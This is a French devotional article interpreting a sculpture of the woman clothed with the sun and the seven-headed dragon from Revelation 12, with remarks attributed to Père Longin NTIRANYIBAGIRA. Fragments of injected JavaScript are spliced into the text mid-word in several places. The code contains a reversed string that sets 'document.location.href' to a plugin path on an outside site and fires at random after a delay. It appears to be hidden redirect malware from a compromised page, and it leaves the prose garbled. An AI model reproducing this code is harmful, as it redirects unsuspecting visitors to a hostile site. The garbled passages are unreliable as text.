Sur la sculpture de la quatorzième station, la représentation nous montre une femme enveloppée du soleil et sous ses pieds la lune. Sur sa tête, une couronne de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}douze étoiles. Tout près d’elle, un dragon à sept têtes.
C’est la scène de ce que dit l’apôtre Jean dans son apocalypse au chapitre 12,1-3. Cette femme toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dont nous parle l’apocalypse de Saint Jean relie et conçoit la mère terrestre du Seigneur avec l’aspiration et l’attente du peuple d’Israël. Signe qu’avant toute création, Marie était dans les pensées du Créateur.
Le soleil, la lune et les étoiles manifestent la lumière, et Marie dans cette représentation, elle est enveloppée par cette splendeur que reflètent ces astres. Cela montre que c’est cette femme qui vient enlever sur terre les ténèbres et que jaillisse la lumière d’en haut. C’est bel et bien lui qui va engendrer la lumière du monde, le Christ vivant.
On remarque que le nombre 12 des étoiles qui font la couronne que porte Marie n’est pas moins significatif : c’est le nombre représentant non seulement les toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}douze tribus des enfants d’Israël, mais aussi les toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}douze apôtres du Christ. Ça nous rappelle cette alliance existant entre le Dieu et son peuple, le fils de Dieu qui s’est fait homme, dans les entrailles de la Vierge Marie, et qui vient concilier le ciel et la terre. Qutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Jésus commença son travail, il s’est choisi 12 apôtres.
Le chiffre sept des têtes du dragon n’est pas aussi à négliger : même si Marie a été si honorée par Dieu en mettant au monde le Sauveur du monde, elle a connus pas mal de difficultés. Elle a eu des toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}douleurs et parmi ces dernières les plus frappantes se combinent au nombre de sept.
Selon le Père Longin NTIRANYIBAGIRA, cette représentation est une vision eschatologique de la vie de l’Eglise et de celle de Sainte Vierge Marie. Le dragon ne l’avait pas totalement fait peur, elle était restée audacieuse. « Devant cette scène nous sommes invités à comprendre et à intégrer la vie de Marie comme étant une vie qui cherche à nous appeler à vaincre la peur parce qu’il y a le Tout Puissant. » Nous ne devons pas nous laisser s’accaparer par la panique devant les obstacles, par contre, mettons toute notre confiance en Dieu. Que Marie nous aide à rester débout et vaincre la peur.
Brigitte IRAKOZE